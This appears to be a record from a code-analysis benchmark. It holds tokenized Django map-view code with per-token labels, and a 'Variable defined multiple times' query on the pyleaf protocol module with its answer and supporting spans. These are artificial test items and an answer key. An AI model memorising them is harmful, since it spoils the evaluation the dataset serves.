"=", "0", "):", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "ne", "\\u", "lat", " ", "=", " ", "float", "(", "ne", "\\u", "lat", ")_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "ne", "\\u", "lon", " ", "=", " ", "float", "(", "ne", "\\u", "lon", ")_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "sw", "\\u", "lat", " ", "=", " ", "float", "(", "sw", "\\u", "lat", ")_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "sw", "\\u", "lon", " ", "=", " ", "float", "(", "sw", "\\u", "lon", ")_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "#", "0", " ", "Responses", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "try", ":_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", " ", "query", "\\u", "tag", " ", "=", " ", "Ta", "g", ".", "object", "s", ".", "get", "(", "name", "=", "tag", ")_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "except", " ", "Except", "ion", ",", " ", "e", ":_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", " ", "return", " ", "render", "\\u", "to", "\\u", "response", "('", "map", ".", "html", "',", " ", "{", "'", "jobs", "':", " ", "[]", ",", " ", "'", "numc", "are", "ers", "':", " ", "0", ",", " ", "'", "tag", "':", " ", "tag", "},", " ", "context", "\\u", "instance", "=", "Request", "Context", "(", "request", "))", " _", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "entri", "es", " ", "=", " ", "Tagg", "ed", "Item", ".", "object", "s", ".", "get", "\\u", "by", "\\u", "model", "(", "Record", "ing", ",", " ", "query", "\\u", "tag", ")_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "#", "features", "et", " ", "=", " ", "entri", "es", ".", "filter", "(", "lat", "\\u\\u", "lt", "=", "ne", "\\u", "lat", ",", " ", "lat", "\\u\\u", "gt", "=", "sw", "\\u", "lat", ",", "lon", "\\u\\u", "lt", "=", "ne", "\\u", "lon", ",", " ", "lon", "\\u\\u", "gt", "=", "sw", "\\u", "lon", ").", "order", "\\u", "by", "('", "-", "date", "')", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "features", "et", " ", "=", " ", "Record", "ing", ".", "object", "s", ".", "order", "\\u", "by", "('", "-", "date", "')", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "return", " ", "render", "\\u", "to", "\\u", "response", "('", "map", ".", "html", "',", " ", "{", "'", "jobs", "':", " ", "features", "et", ",", " ", "'", "numc", "are", "ers", "':", " ", "len", "(", "features", "et", "),", " ", "'", "tag", "':", " ", "tag", "},", " ", "context", "\\u", "instance", "=", "Request", "Context", "(", "request", "))", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "def", " ", "abo", "ut", "(", "request", "):", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "return", " ", "render", "\\u", "to", "\\u", "response", "('", "abo", "ut", ".", "html", "',", " ", "{}", ",", " ", "context", "\\u", "instance", "=", "Request", "Context", "(", "request", "))", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Encode", "rs_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "@_", "login", "\\u", "required_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "moderate", "_", "(_", "request_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "'''", " ", " ", "Split", " ", " ", "map", "/", "table", " ", "record", "ing", " ", "moder", "ation", ".", "\\", "10", ";", " ", " ", " ", " ", " ", "Requ", "ires", " ", "user", " ", "is", " ", "a", " ", "super", "user", " ", "or", " ", "has", " ", "an", " ", "org", " ", "tag", " ", "and", " ", "can", "\\u", "moderate", "=", "Tru", "e", "\\", "10", ";", " ", " ", " ", " ", "'''_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "response", "\\u", "values_", "=_", "{_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "org", "\\u", "tag_", "=_", "request_", "._", "user_", "._", "get", "\\u", "profile_", "(_", ")_", "._", "org", "\\u", "tag_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "If", " ", "the", " ", "user", " ", "isn", "'", "t", " ", "a", " ", "super", "user", " ", "or", " ", "doe", "sn", "'", "t", " ", "have", " ", "an", " ", "org", " ", "tag", " ", "w", "/", " ", "moder", "ation", " ", "privilege", ",", " ", "bounce", " ", "'", "em_", "\\u\\u\\uNL\\u\\u\\u_", "#", "print", " ", "'", "can", "\\u", "moderate", ":", " ", "'", " ", "+", " ", "str", "(", "request", ".", "user", ".", "get", "\\u", "profile", "()", ".", "can", "\\u", "moderate", ")", " ", "+", " ", "'", " ", "org", "\\u", "tag", ":", " ", "'", " ", "+", " ", "str", "(", "org", "\\u", "tag", ")_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "not_", "request_", "._", "user_", "._", "is", "\\u", "superuser_", "and_", "(_", "not_", "request_", "._", "user_", "._", "get", "\\u", "profile_", "(_", ")_", "._", "can", "\\u", "moderate", "_", "or_", "org", "\\u", "tag_", "==_", "''_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "Http404_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "record", "ing", "\\u", "tags_", "._", "ACL", "U", "\\u", "NJ", "_", "in_", "org", "\\u", "tag_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Center", " ", "on", " ", "New", " ", "Jer", "sey", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "location_", "=_", "{_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "location_", "[_", "'", "lat", "'_", "]_", "=_", "40.", "167", "274", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "location_", "[_", "'", "lon", "'_", "]_", "=_", "-_", "74.", "616", "338", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "response", "\\u", "values_", "[_", "'", "location", "'_", "]_", "=_", "location_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "response", "\\u", "values_", "[_", "'", "total", "'_", "]_", "=_", "'", "lots", "!'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "return_", "render", "\\u", "to", "\\u", "response_", "(_", "'", "moderate", ".", "html", "'_", ",_", "response", "\\u", "values_", ",_", "context", "\\u", "instance_", "=_", "Request", "Context_", "(_", "request_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "map_", "(_", "request_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "features", "et", " ", "=", " ", "Record", "ing", ".", "object", "s", ".", "filter", "(", "~", "Q", "(", "lat", "=", "Non", "e", "),", " ", "~", "Q", "(", "lon", "=", "Non", "e", "),", " ", "~", "Q", "(", "jt", "ype", "='", "organi", "c", "'))", ".", "order", "\\u", "by", "('", "-", "date", "')", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", "total", " ", "=", " ", "len", "(", "features", "et", ")_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "total_", "=_", "\"", "lots", "!\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "render", "\\u", "to", "\\u", "response_", "(_", "'", "map", ".", "html", "'_", ",_", "{_", "'", "total", "'_", ":_", "total_", "}_", ",_", "context", "\\u", "instance_", "=_", "Request", "Context_", "(_", "request_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "size_", "(_", "request_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "features", "et_", "=_", "Record", "ing_", "._", "objects_", "._", "filter_", "(_", "~_", "Q_", "(_", "lat_", "=_", "None_", ")_", ",_", "~_", "Q_", "(_", "lon_", "=_", "None_", ")_", ",_", "~_", "Q_", "(_", "jt", "ype_", "=_", "'", "organi", "c", "'_", ")_", ")_", "._", "exclude_", "(_", "location", "\\u\\u", "exact_", "=_", "'", "No", " ", "description", " ", "avail", "able", "'_", ")_", "._", "exclude_", "(_", "location", "\\u\\u", "exact_", "=_", "'", "0.", "0", ",", " ", "0.", "0", "'_", ")_", "._", "order", "\\u", "by_", "(_", "'-", "date", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "total_", "=_", "len_", "(_", "features", "et_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "render", "\\u", "to", "\\u", "response_", "(_", "'", "map", ".", "html", "'_", ",_", "{_", "'", "total", "'_", ":_", "total_", "}_", ",_", "context", "\\u", "instance_", "=_", "Request", "Context_", "(_", "request_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "redir", "_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "Http", "Respons", "e", "Redirect_", "(_", "'/'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "map", "\\u", "json_", "(_", "request_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "features", "et", " ", "=", " ", "Record", "ing", ".", "object", "s", ".", "filter", "(", "~", "Q", "(", "lat", "=", "Non", "e", "),", " ", "~", "Q", "(", "lon", "=", "Non", "e", "),", " ", "~", "Q", "(", "jt", "ype", "='", "organi", "c", "'))", ".", "order", "\\u", "by", "('", "-", "date", "')", "[:", "1000", "]_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "features", "et_", "=_", "Record", "ing_", "._", "objects_", "._", "all_", "(_", ")_", "._", "order", "\\u", "by_", "(_", "'-", "date", "'_", ")_", "._", "filter_", "(_", "~_", "Q_", "(_", "location_", "=_", "''_", ")_", ")_", "._", "exclude_", "(_", "location", "\\u\\u", "isnull_", "=_", "True_", ")_", "._", "exclude_", "(_", "location", "\\u\\u", "exact_", "=_", "''_", ")_", "[_", ":_", "750_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "resp_", "=_", "encode", "\\u", "queryset_", "(_", "features", "et_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "Http", "Response_", "(_", "resp_", ",_", "mimetype_", "=_", "\"", "applica", "tion", "/", "json", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "login", "\\u", "required_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "map", "\\u", "json", "\\u", "moderate", "_", "(_", "request_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "If", " ", "moder", "ati", "ng", ",", " ", "only", " ", "return", " ", "recordings", " ", "tha", "t", " ", "are", " ", "not", " ", "org", "-", "approved", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "And", " ", "tha", "t", " ", "are", " ", "tagg", "ed", " ", "with", " ", "the", " ", "user", "'", "s", " ", "organization", " ", "tag_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "org", "\\u", "tag_", "=_", "request_", "._", "user_", "._", "get", "\\u", "profile_", "(_", ")_", "._", "org", "\\u", "tag_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "org", "\\u", "tag_", "!=_", "''_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "print", " ", "'", "Org", " ", "tag", ":", " ", "'", " ", "+", " ", "org", "\\u", "tag_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "features", "et_", "=_", "Record", "ing_", "._", "objects_", "._", "filter_", "(_", "org", "\\u", "approved", "_", "=_", "False_", ",_", "org", "\\u", "flagged", "_", "=_", "False_", ",_", "tags", "\\u\\u", "contains_", "=_", "org", "\\u", "tag_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "features", "et_", "=_", "Record", "ing_", "._", "objects_", "._", "all_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", "features", "et", " ", "=", " ", "Record", "ing", ".", "object", "s", ".", "filter", "(", "~", "Q", "(", "lat", "=", "Non", "e", "),", " ", "~", "Q", "(", "lon", "=", "Non", "e", "),", " ", "~", "Q", "(", "jt", "ype", "='", "organi", "c", "'))", ".", "order", "\\u", "by", "('", "-", "date", "')", "[:", "1000", "]_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "features", "et_", "=_", "features", "et_", "._", "order", "\\u", "by_", "(_", "'-", "date", "'_", ")_", "._", "filter_", "(_", "~_", "Q_", "(_", "location_", "=_", "''_", ")_", ")_", "._", "exclude_", "(_", "location", "\\u\\u", "isnull_", "=_", "True_", ")_", "._", "exclude_", "(_", "location", "\\u\\u", "exact_", "=_", "''_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "resp_", "=_", "encode", "\\u", "queryset_", "(_", "features", "et_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "Http", "Response_", "(_", "resp_", ",_", "mimetype_", "=_", "\"", "applica", "tion", "/", "json", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "map", "\\u", "location", "\\u", "json_", "(_", "request_", ",_", "ne", "\\u", "lat_", "=_", "0_", ",_", "ne", "\\u", "lon_", "=_", "0_", ",_", "sw", "\\u", "lat_", "=_", "0_", ",_", "sw", "\\u", "lon_", "=_", "0_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "ne", "\\u", "lat_", "=_", "float_", "(_", "ne", "\\u", "lat_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ne", "\\u", "lon_", "=_", "float_", "(_", "ne", "\\u", "lon_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "sw", "\\u", "lat_", "=_", "float_", "(_", "sw", "\\u", "lat_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "sw", "\\u", "lon_", "=_", "float_", "(_", "sw", "\\u", "lon_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "features", "et_", "=_", "Record", "ing_", "._", "objects_", "._", "filter_", "(_", "lat", "\\u\\u", "lt_", "=_", "ne", "\\u", "lat_", ",_", "lat", "\\u\\u", "gt_", "=_", "sw", "\\u", "lat_", ",_", "lon", "\\u\\u", "lt_", "=_", "ne", "\\u", "lon_", ",_", "lon", "\\u\\u", "gt_", "=_", "sw", "\\u", "lon_", ")_", "._", "order", "\\u", "by_", "(_", "'-", "date", "'_", ")_", "._", "exclude_", "(_", "location", "\\u\\u", "isnull_", "=_", "True_", ")_", "._", "exclude_", "(_", "location", "\\u\\u", "exact_", "=_", "''_", ")_", "._", "exclude_", "(_", "location", "\\u\\u", "exact_", "=_", "'", "No", " ", "description", " ", "avail", "able", "'_", ")_", "._", "exclude_", "(_", "location", "\\u\\u", "exact_", "=_", "'", "0.", "0", ",", " ", "0.", "0", "'_", ")_", "[_", ":_", "750_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "features", "et", " ", "=", " ", "Record", "ing", ".", "object", "s", ".", "order", "\\u", "by", "('", "-", "date", "')", ".", "exclu", "de", "(", "location", "\\u\\u", "isn", "ull", "=", "Tru", "e", ").", "exclu", "de", "(", "location", "\\u\\u", "exact", "=''", ").", "exclu", "de", "(", "location", "\\u\\u", "exact", "='", "No", " ", "description", " ", "avail", "able", "')", ".", "exclu", "de", "(", "location", "\\u\\u", "exact", "='", "0.", "0", ",", " ", "0.", "0", "')", "[:", "750", "]_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "len_", "(_", "features", "et_", ")_", "<_", "1_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "Http", "Response_", "(_", "\"{\\\\", "\"", "object", "s", "\\\\\":", "[]", "}\"_", ",_", "mimetype_", "=_", "\"", "applica", "tion", "/", "json", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "resp_", "=_", "encode", "\\u", "queryset_", "(_", "features", "et_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "Http", "Response_", "(_", "resp_", ",_", "mimetype_", "=_", "\"", "applica", "tion", "/", "json", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "encode", "\\u", "queryset_", "(_", "features", "et_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "resp_", "=_", "'{", "\"", "object", "s", "\":[", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "obj_", "in_", "features", "et_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "resp_", "=_", "resp_", "+_", "json_", "._", "dumps_", "(_", "obj_", "._", "to", "\\u", "dict_", "(_", ")_", ")_", "+_", "','_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "resp_", "=_", "resp_", "[_", ":_", "-_", "1_", "]_", "+_", "']}", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "return_", "resp_" ]
[ 4, 4, 4, 4, 4, 2, 2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4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Variable defined multiple times
franapoli/pyleaf/pyleaf/ptl.py
[ { "content": " def __init__(self, graph, mods, folder, doc):\n untrustme1 = list()\n untrustme2 = list()\n dbgstr('Initializing protocol with root: ' + folder)\n self._metafolder = folder\n self._rootdir = os.getcwd()\n self._resmap = dict()\n self._doc = doc\n\n self._graphres = resource('graph', os.path.join(folder,'graph.grp'))\n untrustme1 = self._updateGraph(graph)\n\n for res in self._getResNames():\n newres = resource(res, folder+'/'+res+'.res')\n #print res, newres\n self._addResource(res, newres)\n\n for mod in self._getNodeNames():\n newres = resource(mod, folder+'/'+mod+'.mod')\n self._modules[mod] = newres\n\n untrustme2 = self._updateModules(mods)\n\n for mod in untrustme1:\n self.untrust(mod)\n for mod in untrustme2:\n self.untrust(mod)", "metadata": "root.protocol.__init__", "header": "['class', 'protocol', '(', ')', ':', '___EOS___']", "index": 55 }, { "content": " def _update(self, graph, mods):\n untrustme1 = list()\n untrustme2 = list()\n dbgstr('New graph is: ' + str(graph), 3)\n dbgstr('New mods are: ' + str(mods), 3)\n untrustme1 = self._updateGraph(graph)\n untrustme2 = self._updateModules(mods)\n for mod in untrustme1:\n self.untrust(mod)\n for mod in untrustme2:\n self.untrust(mod)", "metadata": "root.protocol._update", "header": "['class', 'protocol', '(', ')', ':', '___EOS___']", "index": 105 }, { "content": " def publish(self, ofile, odir='', layout='LR'):\n \"\"\"Publish the protocol to a HTML file.\"\"\"\n import textwrap\n import os.path\n oname = ofile\n if odir == '':\n odir = 'html'\n if not os.path.exists(odir):\n os.mkdir(odir)\n fullname = os.path.join(odir, ofile)\n #ofile = os.path.join(self._metafolder, ofile)\n f=open(fullname+'.dot', 'w')\n f.write('digraph G {\\n'+\n 'graph [size=\"20, 20\"];\\n' +\n 'node [shape=box, style=rounded];'+\n 'rankdir='+\n ('TB' if layout.lower()=='tb' else 'LR')+\n ';\\n')\n for idx, node in enumerate(self._getGraph().getNodes()):\n f.write(str(node))\n docstr = inspect.getdoc(self._modules[node].getValue()) if type(self._modules[node].getValue())==type(inspect.getdoc) else None\n\n if self._isFileMod(node):\n shape = 'note'\n if self._isAvailable(node):\n content = self._getResource(node).getValue()\n if isinstance(content, tuple) or isinstance(content, list):\n output_line = '\\t\\t<td href=\"'+'(multiple)'+'\"><font POINT-SIZE=\"8\"><u>output</u></font></td>\\n'\n else:\n output_line = '\\t\\t<td href=\"'+content+'\"><font POINT-SIZE=\"8\"><u>output</u></font></td>\\n'\n else:\n output_line = '\\t\\t<td><font POINT-SIZE=\"8\"><u>not built</u></font></td>\\n' \n else:\n output_line='\\t\\t<td></td>\\n'\n shape = 'box'\n\n \n f.write('[shape = ' + shape + ', label = <<table border=\"0\">\\n'+\n '\\t<tr>\\n'+\n '\\t\\t<td colspan=\"2\"><B>' +\n self._getGraph().getAttrib(node, 'label') +\n '</B></td>\\n'+\n '\\t</tr>\\n'+\n '\\t<tr>\\n'+\n '\\t\\t<td colspan=\"2\" align = \"left\"><font POINT-SIZE=\"10\">'+\n ('-' if docstr == None else textwrap.fill(docstr, 30)).replace('\\n','<br/>') +\n '</font></td>\\n'+\n '\\t</tr>\\n' +\n '\\t<tr>\\n'+\n '\\t\\t<td href=\"#'+node+'_details\"><font POINT-SIZE=\"8\"><u>details</u></font></td>\\n'+\n output_line +\n '\\t</tr>\\n'+\n '</table>>]\\n')\n for node in self._getGraph().keys():\n for onode in self._getGraph()[node]:\n f.write(node + ' -> ' + onode + '\\n')\n f.write('}')\n f.close()\n t=os.system('dot -s160 -Tcmapx -o' +\n fullname + '.map -Tgif -o' + fullname + '.gif ' + fullname + '.dot')\n t=os.system('dot -Tpdf -o' + fullname + '.pdf ' + fullname + '.dot')\n\n if t!=0:\n raise NameError('Problems running dot: have you installed it?')\n\n\n\n\n\n html_header = \"\"\"\n<!DOCTYPE html PUBLIC \"-//W3C//DTD XHTML 1.0 Strict//EN\" \"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd\">\n<html xmlns=\"http://www.w3.org/1999/xhtml\">\n<head>\n<title>\"\"\" + oname + \"\"\"</title>\n<meta http-equiv=\"Content-Language\" content=\"English\" />\n<meta http-equiv=\"Content-Type\" content=\"text/html; charset=UTF-8\" />\n<link rel=\"stylesheet\" type=\"text/css\" href=\"style.css\" media=\"screen\" />\n</head>\n<body>\n\n<div id=\"wrap\">\n<div id=\"top\"></div>\n<div id=\"content\">\n\n<div class=\"header\">\n<a href=\"index.html\"><img src=\"leaf.png\"></a>\n<br><br><br><br><br>\n</div>\t\n\n\"\"\"\n\n html_footer = \"\"\"\n</body>\n</html>\n\"\"\"\n\n\n f = open(fullname+'.html', 'w')\n f.write(html_header)\n f.write('<div class=\"breadcrumbs\"><h1>' + oname + '</h1></div><div class=\"middle\">')\n f.write('<h2>Project Summary</h2>')\n f.write('<div style=\"width: 90%\">')\n if len(self._doc)>0:\n f.write('<b>Description:</b> ' + self._doc + '<br>')\n f.write('<b>Number of Modules:</b> ' + str(len(self._getGraph())) + '<br>')\n f.write('<b>Number of Output modules:</b> ' + str(sum([self._isFileMod(node) for node in self._getGraph().getNodes()]))+'<br>')\n f.write('<b>Total CPU time required:</b> '+ self._readabletime(sum([self._resmap[x]._buildtime for x in self._resmap]))+'<br>')\n f.write('</div><br>')\n f.write('<h2>Protocol map</h2>')\n f.write('<div align = \"center\">')\n f.write('<IMG SRC=\"' + oname + '.gif\" USEMAP=\"#G\" />\\n')\n f.write('</div>')\n map = open(fullname + '.map').read()\n f.write(map)\n\n f.write('<h2>Modules'' details<h2>\\n')\n\n for idx, node in enumerate(self._getGraph().getNodes()):\n f.write('<h3><a name=\"'+str(node)+'_details\">'+str(node)+'</a></h3>\\n')\n docstr = inspect.getdoc(self._modules[node].getValue()) if type(self._modules[node].getValue())==type(inspect.getdoc) else None\n if docstr == None:\n f.write('[documentation not available]')\n else:\n f.write(docstr)\n \n if not self._resmap[node]._timestamp == None:\n tstamp = self._resmap[node]._timestamp\n btime = self._resmap[node]._buildtime\n else:\n tstamp = 'never'\n btime = 'uknknown'\n\n f.write('<br><br>Last build was on ' + tstamp + '.<br>')\n f.write('Time it took: ' + str(self._readabletime(btime)) + '.<br>')\n \n\n f.write('<div class=\"code\"><pre>')\n srccode = inspect.getsource(self._modules[node].getValue()) if type(self._modules[node].getValue())==type(inspect.getdoc) else None\n f.write(srccode.replace('\\n','<br>'))\n f.write('</pre></div>')\n f.write('<hr>')\n\n\n f.write('<div id=\"footer\">')\n f.write('<br><br><i>Automatically generated on ' + time.asctime() + ' using Leaf</i>')\n f.write('</div>')\n f.write(html_footer)\n f.close()\n\n try:\n ## copying external resources\n from pkg_resources import resource_filename\n stylef = resource_filename('pyleaf', 'resources/style.css')\n logof = resource_filename('pyleaf', 'resources/leaf.png')\n\n #stylef = os.path.join(sys.prefix, 'style.css')\n #logof = os.path.join(sys.prefix, 'leaf.png')\n\n import shutil\n shutil.copy(stylef, odir)\n shutil.copy(logof, odir)\n except:\n print('Couldn\\'t copy resource files. HTML file will miss style and logo.')", "metadata": "root.protocol.publish", "header": "['class', 'protocol', '(', ')', ':', '___EOS___']", "index": 300 }, { "content": " def _setMod(self, modname, mod):\n haschanged = self._modules[modname].changed()\n if haschanged:\n if type(mod) == File:\n mod.update()\n self._modules[modname].setValue(mod.getValue())\n self._modules[modname].updateFingerprint()\n self.untrust(modname)\n dependents = self._getOutNodesRecursive(modname)\n if dependents != []:\n dbgstr('These nodes are dependent: '+str(dependents), 0)\n #for dep in dependents:\n # self._clearFilter(dep)", "metadata": "root.protocol._setMod", "header": "['class', 'protocol', '(', ')', ':', '___EOS___']", "index": 687 }, { "content": " def _setMod(self, who, what):\n self._modcontents[who.getName()] = self._getContents(what)\n self.dumpMods()", "metadata": "root.protocol._setMod", "header": "['class', 'protocol', '(', ')', ':', '___EOS___']", "index": 1067 } ]
[ { "span": "untrustme1 ", "start_line": 56, "start_column": 8, "end_line": 56, "end_column": 18 }, { "span": "untrustme2 ", "start_line": 57, "start_column": 8, "end_line": 57, "end_column": 18 }, { "span": "untrustme1 ", "start_line": 106, "start_column": 8, "end_line": 106, "end_column": 18 }, { "span": "untrustme2 ", "start_line": 107, "start_column": 8, "end_line": 107, "end_column": 18 }, { "span": "t=", "start_line": 358, "start_column": 8, "end_line": 358, "end_column": 9 }, { "span": "_setMod(", "start_line": 687, "start_column": 8, "end_line": 687, "end_column": 15 } ]
[ { "span": "untrustme1 ", "start_line": 65, "start_column": 8, "end_line": 65, "end_column": 18 }, { "span": "untrustme2 ", "start_line": 76, "start_column": 8, "end_line": 76, "end_column": 18 }, { "span": "untrustme1 ", "start_line": 110, "start_column": 8, "end_line": 110, "end_column": 18 }, { "span": "untrustme2 ", "start_line": 111, "start_column": 8, "end_line": 111, "end_column": 18 }, { "span": "_setMod(", "start_line": 1067, "start_column": 8, "end_line": 1067, "end_column": 15 } ]
1
true
